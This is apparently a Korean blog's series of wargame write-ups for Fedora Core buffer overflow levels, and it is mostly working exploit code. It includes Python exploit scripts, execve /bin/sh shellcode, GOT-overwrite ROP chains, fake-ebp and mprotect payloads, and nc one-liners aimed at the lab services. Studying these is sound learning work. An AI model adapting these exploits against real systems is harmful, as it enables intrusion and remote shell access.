/*
        The Lord of the BOF : The Fellowship of the BOF
        - enigma
        - Remote BOF on Fedora Core 4
        - hint : ?
        - port : TCP 7777
*/

#include 
#include 
#include 
#include 

int vuln(int canary,char *ptr)
{
        char buffer[256];
        int *ret;

        // stack overflow!!
        strcpy(buffer,ptr);

        // overflow protected
        if(canary != 0x31337)
        {
                printf("who broke my canary?!");
                exit(1);
        }

        // preventing RTL
        ret = &canary - 1;
        if((*ret & 0xff000000) == 0)
        {
                printf("I've an allergy to NULL");
                exit(1);
        }

        // clearing attack buffer
        memset(ptr, 0, 1024);

        return 0;
}

int main()
{
        char buffer[1024];

        printf("enigma : The brothers will be glad to have you!\n");
        printf("you : ");
        fflush(stdout);

        // give me a food!
        fgets(buffer, 1024, stdin);

        // oops~!
        vuln(0x31337, buffer);

        // bye bye
        exit(0);
}

문제 소스코드다.

main함수에선 취약점이 없어 보이나 vuln함수를 보면 strcpy함수를 사용해서 딱 봐도 취약해 보인다. 이번엔 카나리라는 값이 추가 되어서 해당 위치에 카나리값이 없으면 오버플로우를 할 수 없도록 되어있다.

하지만 오버플로우를 일으켜 해당 위치에 카나리 값을 덮어 써주면 문제없이 우회할 수 있다. 카나리 위치는 vuln함수 기준 ebp+8에 위치하고 있다.

그리고 ret변수에는 카나리값의 -1, 즉 리턴주소에 있는 값의 첫 바이트가 0이면 프로그램을 종료한다. 다시말하면 fedora core에는 아스키 아머가 적용되어 함수의 첫 바이트는 0x00으로 되어있으니 리턴주소에 함수가 들어가면 안된다는 것이다. RTL을 막았다는 의미이다.


그래서 이번에는 mprotect함수를 이용해 임시버퍼인 stdin영역에 쓰기권한을 주고 그 영역에 쉘코드를 넣어서 쉘을 얻는 방식으로 익스를 했다.


우선 vuln함수의 buffer의 크기를 보면 260바이트까지를 입력할 수 있다. ebp+12는 임시버퍼(stdin)의 주소를 가리키고 있는 주소다.

쓰레기 값을 260바이트를 주고나면 바로 다음엔 sfp, ret가 위치하고 있을거다.

RTL이 되지 않으니.. fake ebp로 mprotect 함수를 실행시키면 된다.


하지만 문제가 있다. ASLR때문에 임시버퍼의 주소가 계속 바뀐다.

처음 stdin으로 확인한 주소는 0xb7fbf000이다. 몇번을 실행 시켜보면 규칙을 찾을 수 있다.

0xb7f**000 이 규칙을 계속 지키는 것이다.

따라서 한개의 stdin주소를 정해서 브루트포스로 계속 돌리면 충분히 맞출 수 있다.


먼저 페이로드를 작성해보면


dummy[260] | fake ebp1 | leave-ret가젯 | canary | mprotect | fake ebp2 | stdin | 0x800 | 0x7 | NOP[300] | shellcode


이렇게 페이로드를 작성하면 익스를 할 수 있다.


페이로드를 설명하자면 

1. fake ebp1에는 mprotect함수가 있는 주소의 -4 위치를 넣는다. -> stdin + 268

2. leave-ret 가젯을 넣어준다. (leave-ret가젯의 주소는 첫바이트가 0x0이 아니기 때문에 문제에서 rtl을 막는 부분을 우회할 수 있다.)

3. canary 가젯을 넣어준다.

4. mprotect함수의 주소를 넣어준다.

5. fake ebp2에는 mprotect함수 다음에 실행이 될 sfp의 위치이기 때문에 쉘코드의 위치를 대략적으로 넣어준 것이다. NOP를 넉넉히 넣으면 stdin+300 정도면 충분한 위치가 될 것이다.

6. mprotect함수의 인자들을 넣어주면 된다. 첫번째 인자는 권한을 줄 영역의 시작 위치를 주면 되고 두번째 인자는 시작 위치부터 몇 바이트 까지 권한을 줄지를 정하는 인자다. 페이로드의 크기 보다 큰 800바이트 정도를 주면 된다. 그리고 마지막은 권한을 주면 된다. 실행권한을 주기 위해 7을 주었다.

7. NOP를 넉넉하게 300바이트정도를 넣고 쉘코드를 넣었다.



exploit code

from socket import *
import time
import struct

host = "localhost"
port = 7777

p = lambda x : struct.pack('<L', x)

shellcode = "\x90"*300+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

leaveret = 0x0804858e
canary = 0x31337
mprotect = 0x86d240
stdin = 0xb7fa6000

payload = "A"*260
payload += p(stdin+268)
payload += p(leaveret)
payload += p(canary)
payload += p(mprotect)
payload += p(stdin+300)
payload += p(stdin)
payload += p(0x800)
payload += p(0x7)
payload += shellcode
payload += "\n"

index = 1
while True:
        print "INDEX : " + index
        s = socket(AF_INET, SOCK_STREAM)
        s.connect((host, port))
        s.recv(100)
        s.send(payload)
        time.sleep(1)
        s.send("my-pass\n")
        res = s.recv(1024)
        if res != "":
                print "pass  : " + res
                s.close()
                break
        s.close()
        time.sleep(0.5)
        index += 1



'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core4 enigma -> titan  (0) 2018.03.04
Fedora Core4 dark_stone -> cruel  (0) 2018.02.25
Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24

문제 소스다.


일단 소스코드는 굉장히 간단해 보인다.

힌트에 나온 내용을 보면 fake ebp는 아닌 것 같고, RET Sleding을 하라고 한다.


그럼 힌트대로 RET Sleding을 해보자. 이전 문제들에서 RET Sleding을 해서 자신이 있다.


우선 스택의 값을 확인해 보자.


__gmon_start_는 strcpy 함수인것으로 보인다. 왜 저렇게 나온건지는 구글링 해서 조금 봤는데 무슨 말인지 이해가 안가서 일단은 문제부터 풀었다.


ebp-256이 argv[1]의 위치다.

따라서 256 바이트가 일반 버퍼의 사이즈고 그 뒤부터 sfp, ret다.

이제 RET Sleding을 몇번 줄지와 execl함수의 인자를 줄 적당한 위치를 찾아야 한다.


일단 함수의 ret부분에 BP를 걸고 멈춰서 스택을 살펴보자.

스택을 보면 0x008caff4가 있는 부분이 딱 적당하다.


이유는 아래와 같다.

0x008caff4는 심볼릭 링크로 주기 편한 값을 가지고 있고 바로 4바이트 뒤엔 NULL을 가리키고 있어서 딱 여기다.


그래서 RET Sleding을 7번 주고 바로 다음에 execl함수의 주소를 주면 익스가 성공할 것이다.


payload 

`python -c 'print "A"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`


exploit code

import os
import struct

p = lambda x : struct.pack('<L', x)
execl = "\x68\x2d\x83" #0x00832d68
ret = 0x8048451

payload = "A"*260
payload += p(ret) * 7
payload += execl

os.system('./cruel ' + payload)


쉘 획득

'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core4 enigma -> titan  (0) 2018.03.04
Fedora Core4 cruel -> enigma  (0) 2018.03.01
Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24

문제 소스코드다.

전전 문제와 비슷한 소스구조를 가지고 있고 힌트를 보면 GOT Overwrite다.

이번엔 인자로 받는게 아니라 elf를 실행하면 표준 입력을 받는다. 


이전 문제처럼 got overwrite로 풀어보려고 한다.

전전문제와 다른점은 0xf6ffe000부터 0x1200바이트를 0으로 memset한다.


gdb로 디버깅을 해보니 got overwrite하는 것과 무관해보이니 잘 풀릴 것 같다.

일단 got overwrite할 때 필요한 주소들과 가젯을 찾아본다.


system : 0x7507c0


printf@got : 0x804984c

strcpy@plt : 0x8048438

ppr : 0x80484f3

printf@plt : 0x8048408

/bin/sh : 0x833603

c0 : 0x80483e8+0xc

07 : 0x8048178+0x4

75 : 0x80482b4

00 : 0x8049804

bss : 08049868


이렇게 찾았다.


이번엔 bss영역 주소를 사용할 것이다.

먼저 ppr로 system함수의 주소를 bss영역으로 복사하고,

system함수의 주소가 있는 bss 영역을 다시 printf@got에 덮어쓸 거다.


got overwrite에 대한 자세한 설명은 이전문제와 비슷하니 생략할거다.

이번 문제는 단순 로컬에서 실행하면 root 권한으로 실행할 수 없다.

힌트로 준 8888포트에 nc로 붙으면 로컬에 있는 바이너리가 똑같이 실행된다.

8888포트로 서비스 중인 것을 확인할 수 있다.


이제 페이로드를 작성해 nc로 붙으면 익스가 가능할것이다.


payload

import struct
from socket import *

p = lambda x : struct.pack('<L', x)

printfgot = 0x804984c
#########      printfplt = 0x0804862c ###### printf@plt에 main+308주소를 주면 마지막에 더미값 4바이트를 주지 않고 익스가 가능하다. 왜 그런지는 잘 이해가 안가서 계속 생각중이다.
printfplt = 0x8048408
bbs = 0x08049868
ppr = 0x080484f3
strcpyplt = 0x8048438
binsh = "\x03\x36\x83\x00"

system = [0x80483e8+0xc, 0x8048178+0x4, 0x80482b4, 0x8049804]

payload = "A"*268
payload += p(strcpyplt) + p(ppr) + p(bbs+0) + p(system[0])
payload += p(strcpyplt) + p(ppr) + p(bbs+1) + p(system[1])
payload += p(strcpyplt) + p(ppr) + p(bbs+2) + p(system[2])
payload += p(strcpyplt) + p(ppr) + p(bbs+3) + p(system[3])
payload += p(strcpyplt) + p(ppr) + p(printfgot) + p(bbs)
payload += p(printfplt) + "AAAA" + binsh

host = "localhost"
port = 8888

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(payload + "\n")
print s.recv(1024)
while True:
        cmd = raw_input('$ ')
        if cmd == 'exit':
                s.close()
                break
        s.send(cmd + "\n")
        result = s.recv(1024)
        print result
s.close()


익스코드를 돌리니 쉘이 따진다.


ppr 정말 신기하다..


다음 단계로 넘어가니 더이상 문제가 없다고하네.. 올클리어.



'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core4 cruel -> enigma  (0) 2018.03.01
Fedora Core4 dark_stone -> cruel  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24
Fedora Core3 iron_golem -> dark_eyes  (0) 2018.02.23

이번 문제의 힌트는 got overwrite다.

함수의 got를 덮어써서 원하는 함수(system?)를 실행시키면 될 것 같다.


gdb에서 set명령으로 got를 바꾸어 보았지만 쉘이 안따졌다.

ROP로 문제를 풀어보았다.

 

ROP를 하기 위해 필요한 가젯과 주소들이 있다.


1. POP POP RET = 줄여서 ppr이라고 하겠다.

2. system() 주소

3. printf@plt

4. printf@got

5./bin/sh의 주소



1. ppr 주소

아래 명령어로 ppr 가젯의 위치를 구한다.


$ objdump -d evil_wizard | grep ret -B 3

ppr의 주소는 0x804854f다.


2. system() 주소


system함수 주소는 0x7507c0이다.

이제 system 함수의 조각들이 있는 위치를 각각 찾아야 한다.


명령어는 아래와 같다.

$ objdump -s [파일명] | grep [찾을 문자(열)] --color=auto


리틀엔디언 방식으로 입력해줘야 하니까 system[0]에 c0을 먼저 찾아 넣어야 한다.

c0의 주소는 0x8048414+0xc다.

07의 주소는 0x8048148+0xc다.

.

75의 주소는 0x80482c8이다.

00의 주소는 0x8049840이다.


3. printf@got

printf@got는 0x8049884다.


4. printf@plt 주소

printf@plt의 주소는 0x8048424다.


5. /bin/sh의 주소

#include <stdio.h>
int main()
{
        long shell=0x007507c0;
        while(memcmp((char*)shell,"/bin/sh",8)) shell++;
        printf("/bin/sh : 0x%x\n",shell);
}

/bin/sh의 주소는 c로 소스를 짜서 구할 수 있다.


/bin/sh의 주소는 0x833603이다.


이제 필요한 주소와 가젯을 다 찾았으니 payload를 작성하자.


payload 예시

"A"*268 + strcpy@plt + ppr + printf@got+0 + system[0]
               strcpy@plt + ppr + printf@got+1 + system[1]
               strcpy@plt + ppr + printf@got+2 + system[2]
               strcpy@plt + ppr + printf@got+3 + system[3]
               printf@plt + "AAAA" + "/bin/sh"

pop pop ret가젯으로 printf@got에 system 함수의 주소를 복사한 후 printf@plt를 실행해서 /bin/sh을 실행하는 페이로드다.


페이로드가 길므로 파이썬으로 익스를 짰다.


payload

import os
from struct import *

p = lambda x : pack('<L', x)

strcpyplt = 0x8048494
ppr = 0x804854f
printfplt = 0x8048424
printfgot = 0x8049884
binsh = "\x03\x36\x83"
system = [0x8048420, 0x8048374+4, 0x80482c8, 0x8049840]

payload = "A"*268
payload += p(strcpyplt) + p(ppr) + p(printfgot+0) + p(system[0])
payload += p(strcpyplt) + p(ppr) + p(printfgot+1) + p(system[1])
payload += p(strcpyplt) + p(ppr) + p(printfgot+2) + p(system[2])
payload += p(strcpyplt) + p(ppr) + p(printfgot+3)  + p(system[3])
payload += p(printfplt) + "AAAA" + binsh

os.execv("./evil_wizard",["",payload])


익스 성공

'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core4 dark_stone -> cruel  (0) 2018.02.25
Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24
Fedora Core3 iron_golem -> dark_eyes  (0) 2018.02.23
Fedora Core3 gate -> iron_golem  (0) 2018.02.22

힌트를 보고 got overwrite를 시도해봤다.

근데 생각대로 되지 않아서 검색을 해보다가 system함수를 이용해 문제를 푸는것을 알게되었다.

system 함수를 보자.


system 함수를 보면 do_system함수를 호출하는것을 볼 수 있다.

do_system 함수를 보자.


do_system 함수는 execve함수를 호출하게된다.

우선 do_system+1124부분을 보면 sigprocmask함수를 호출한 후 실행되는 부분이다.

여기 부분을 살펴보면 execve의 인자를 구성하는 단계로 상태를 보면 아래와 같다.

execve("/bin/sh", {"/home/dark_eyes/hell_fire", NULL}, envp)

이런식이다. 따라서 return address에 이 do_system+1124를 넣어주게 되면 hell_fire 이름으로 /bin/sh을 실행시키게된다. 


이 문제는 로컬 bof로 풀 수 없다. 로컬에 바이너리를 실행할때 루트권한을 주는 비트가 설정이 안되어있기 때문이다.


서비스중인 xinetd를 보니 7777포트에서 hell_fire가 서비스 중이다. netcat으로 접근하면 된다.

payload 

(python -c 'print "A"*268+"\x84\x07\x75\x00"';cat) | nc localhost 7777





'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 iron_golem -> dark_eyes  (0) 2018.02.23
Fedora Core3 gate -> iron_golem  (0) 2018.02.22
FedoraCore3 설명  (0) 2018.02.19

문제 소스코드다.

이전문제와 다르게 ebp값을 건드리는게 불가능하도록 코딩을 해놓았다.


힌트를 보면 ret sleding으로 풀어야 한다.


우선 예전 lob를 풀 때 RET Sleding으로 문제를 푼 적이 있지만 예전 풀이도 보고 RET Sleding에 대해 검색을 해보았다.


RET Sleding이란 함수가 종료될 때 실행되는 ret의 주소를 return address에 오버플로우를 시켜주면 esp를 계속 올려서 바꾸어 줄 수 있는 방법이다.


우선 gdb로 소스를 까보자.

ebp-264는 buffer 배열이다.

그리고 ebp-268은 save_sfp 변수이다.

즉 다시말해 buffer는 ebp 기준으로 264바이트가 떨어졌으니 256바이트에 8바이트가 더미로 추가되어있는 것이다.


일단 변수의 크기를 알았으니 스택의 변화를 살펴봐야한다.


스택의 변화를 살펴보기 위해 코드의 leave 부분에 BP를 건다.


esp부분을 보자.

문자열 A로 268바이트를 넘겨주었다. 일단 채울 수 있는 버퍼의 크기를 다 채웠으므로 0xfee58d98이 sfp의 값이고, 0x00730e00이 return address다.

이제 이 값을 RET Sleding으로 변조 시키고 rtl을 사용할 함수인 execl의 인자로 줄 위치를 찾아야 한다.


일단 execl함수는 이전 문제처럼 0값으로 인자를 끝내야 한다.

그래서 찾은 부분이 0xfee58d50 ~ 0xfee58d54다.


0xfee58d50는 0x0083ed3c라는 비교적 파일 이름으로 주기에 간단한 값을 가지고 있다.


그리고 바로 4바이트 뒤인 0xfee58d54를 보면 0이다. execl함수의 인자로 주기에 딱 좋은 부분이다.


이제 RET Sleding을 해줘야한다.

ret에 코드영역의 ret를 주어야 한다.

ret가 실행되면 행해지는 작업은 pop eip, jmp eip다.

이 작업을 하면 스택에 쌓인 값들이 pop 되면서 esp의 주소가 올라가게 되고 스택의 있던 값이 실행되게 된다.


아까 봐뒀던 부분이 ebp+8이 되어야 하니까 

0xfee58d50 - 8인 0xfee58d48에 execl함수를 주고

RET Sled를 세번 주면 execl("\xf4\xef\x83\x00",0) 이렇게 RTL이 성공하게 된다.


execl로 실행시킬 파일명으로 쉘을 실행시킬 바이너리를 작성해야한다.

이전문제와 같은 방법으로 진행하면 된다.

이렇게 소스를 작성하고

컴파일 해준 후 심볼릭 링크를 걸어준다. (심볼릭 링크로 굳이 걸 필요 없이 바로 바이너리파일의 이름을 지어줘도 된다.)


payload

./dark_eyes "`python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`"

플래그를 구했다.


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


추가적으로 \x20은 공백으로 인식이 되어 오버플로우를 할 수 없다.

위에서는 python으로 만든 문자열에 더블쿼터를 씌워줘서 문자열로 인식하게 했으나 익스플로잇 코드를 작성할때 문자열 적용을 어떻게 하는지 감이 안와서 찾아보다가 굳이 그렇게 하지 않고도 할 수 있다는 것을 깨달았다. 그방버은 무엇이냐면 RTL함수의 주소를 조금 변형시키는 것이다.

이전 문제에서도 execl함수의 주소에 +3을 해주어서 RTL을 실행했다. 이번에도 execl함수를 좀 보고 주소를 땡기거나 뒤로 입력해줄 것이다.


위를 보면 execl함수 전 주소에 nop코드가 존재한다. 따라서 execl-1의 위치를 주게 되면 \x20을 피하고 RTL을 할 수 있다.


exploit code

import struct
import os

p = lambda x : struct.pack('<I', x)

ret_sled = 0x080484b9
execl = 0x7a5720

payload = "A"*268
payload += p(ret_sled)*3
payload += p(execl-1)

os.system("./dark_eyes " + payload[:-1])



'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24
Fedora Core3 gate -> iron_golem  (0) 2018.02.22
FedoraCore3 설명  (0) 2018.02.19

오랜만에 푸는 bof문제다..



문제를 들어가면 strcpy함수를 대놓고 쓰는 문제다.

여기서 취약점이 터진다.

하지만 이전에 풀던 lob와는 달리 ASCII Armor와 ASLR, 그리고 스택의 값은 실행 권한이 주어지지 않는 Non-Excutable stack이 설정되어있다.

먼저 ASCII Armor란 라이브러리의 함수 주소의 최상위 부분을 0x00으로 만들어 RTL공격 구성 시 연속적인 페이로드를 작성할 수 없게 만든 보안정책이다.

그리고 ASLR은 프로그램이 실행될 때 마다 랜덤으로 스택의 주소를 배정시키는 기법이다.

마지막으로 Non-Excutable stack은 NX라고도 부르며 스택영역에 실행권한을 주지 않아서 스택에 입력된 쉘코드가 실행되지 않게 하는 보안정책이다.


이 문제를 풀려면 이 모두를 우회해야 한다.

먼저 힌트를 보면 fake ebp라고 한다.

lob에서 fake ebp로 문제를 푼 적이 있는데 그때와 비슷하게 문제를 푸는 것은 아니였다.


일단  NX에 의해서 쉘코드를 스택에 입력하는 방법은 안먹힐 것이고, RTL 또한 ASLR과 아스키 아머에 의해 막힐 것이다.

힌트인 fake ebp를 잘 생각해보면 ebp 값을 속여서 문제를 풀어보라는 의미일 것이다.


찾아보니 주소가 랜덤하게 바뀌지 않는 got영역으로 fake ebp를 이용한 rtl기법을 사용할 수 있다.

그래서 일단 got의 주소를 찾았다.


$ readelf -a ./iron_golem | grep "got" 명령어로 찾는다.

got영역의 시작주소는 0x08049618이다.


그리고 실행함수를 찾았다.

execl함수를 이용했다.

execl함수의 주소는 0x7a5720이다. 

맨 앞 자리는 아스키 아머에 의해 0x00으로 채워져 있다.


이제 페이로드를 작성해야한다.

페이로드 작성에 앞서 


우선 이 문제의 스택을 살펴보자.

스택을 살펴보면 c소스에서는 256바이트의 버퍼를 할당해주었는데 디버거에서는 0x108바이트를 할당해주었다.

0x108바이트는 264바이트다. 즉 다시말해 8바이트의 더미 값이 더 추가된 것이다.

buf[256] | dummy[8] | sfp[4] | ret[4]

이렇게 구성되어 있다.

fake ebp를 하기 위해 일단 ret까지 오버플로우를 줘야하는데 buf에 264바이트의 쓰레기 값을 주고 sfp에 got영역의 값을 주어야 한다.

하지만 그냥 got영역의 값을 주면 안되고 got-8의 주소를 주어야 한다. 그 이유는 execl함수에 인자를 주어야 하는데 이 함수의 인자는 함수가 호출될 당시의 ebp 값을 기준으로 ebp+8, ebp+c ... 이런식으로 주게 되어있다.

아래에서 got의 값을 확인해보자.

got를 보면 0x0804954c가 있다. 이 주소가 가리키는 값을 보자.

1이다.


execl 함수의 사용법은 아래와 같다.

int execl( const char *path, const char *arg, ...);

먼저 첫번째 인자에 실행할 파일의 경로를 가리키는 값이 들어가고, 마지막 인자에는 0을 입력해야 한다.

근데 딱 들어맞게도 got-8을 ebp에 넣어주게 되면 execl함수의 인자로 (got-8) +8 인 got주소가 첫번째 인자로, 두번째 인자로 0이 들어간다.

추가적으로 이 execl() 함수가 실행되면 execl('1'); 의 형태로 실행이 된다.


sfp위치에는 got-8의 주소를 입력하고 ret에는 execl에 +3을 한 주소를 입력한다. execl에 +3을 하는 이유는 지금 ebp의 값을 조작해 놓은 상태인데 만약 execl함수의 주소를 그대로 쓰면 함수 프롤로그가 실행되면서 스택이 바뀐다고 한다. 그래서 +3을 하면 프롤로그가 실행되지 않아 스택의 값이 유지된다.

마지막으로 쉘을 실행시킬 소스를 작성한다.


컴파일 해주고 심볼릭 링크를 걸어주는데 이때 이름을 \x01로 변경해준다. 왜냐면 execl함수의 첫번째 인자로 실행되는 파일명이 \x01이기 때문이다.

이제 페이로드를 작성한다.


Payload

./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`


문제 클리어


-----------------------------------------------------------------------------------------------------------------------------------------


추가적으로 파이썬으로 익스를 짰다.


import struct
import os

p = lambda x : struct.pack('<I', x)

fake_ebp = 0x8049618
execl = 0x7a5720

payload = "A"*264
payload += p(fake_ebp - 0x8)
payload += p(execl + 3)

os.system('./iron_golem ' + payload[:-1])

'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24
Fedora Core3 iron_golem -> dark_eyes  (0) 2018.02.23
FedoraCore3 설명  (0) 2018.02.19

 [기본 룰]

1. single boot 금지

2. root exploit 금지

3. /bin/my-pass 명령에 LD_PRELOAD 사용 금지


[레벨업 패스워드 확인]

/bin/my-pass


[전용 게시판]

http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship


[몹 리스트]

LEVEL1 (gate -> gremlin) :  simple bof

LEVEL2 (gremlin -> cobolt) : small buffer

LEVEL3 (cobolt -> goblin) : small buffer + stdin

LEVEL4 (goblin -> orc) : egghunter

LEVEL5 (orc -> wolfman) : egghunter + bufferhunter

LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter

LEVEL7 (darkelf -> orge) : check argv[0]

LEVEL8 (orge -> troll) : check argc

LEVEL9 (troll -> vampire) : check 0xbfff

LEVEL10 (vampire -> skeleton) : argv hunter

LEVEL11 (skeleton -> golem) : stack destroyer

LEVEL12 (golem -> darkknight) : sfp 

LEVEL13 (darkknight -> bugbear) : RTL1

LEVEL14 (bugbear -> giant) : RTL2, only execve

LEVEL15 (giant -> assassin) : no stack, no RTL

LEVEL16 (assassin -> zombie_assassin) : fake ebp

LEVEL17 (zombie_assassin -> succubus) : function calls

LEVEL18 (succubus -> nightmare) : plt

LEVEL19 (nightmare -> xavis) : fgets + destroyers

LEVEL20 (xavis -> death_knight) : remote BOF 

+ Recent posts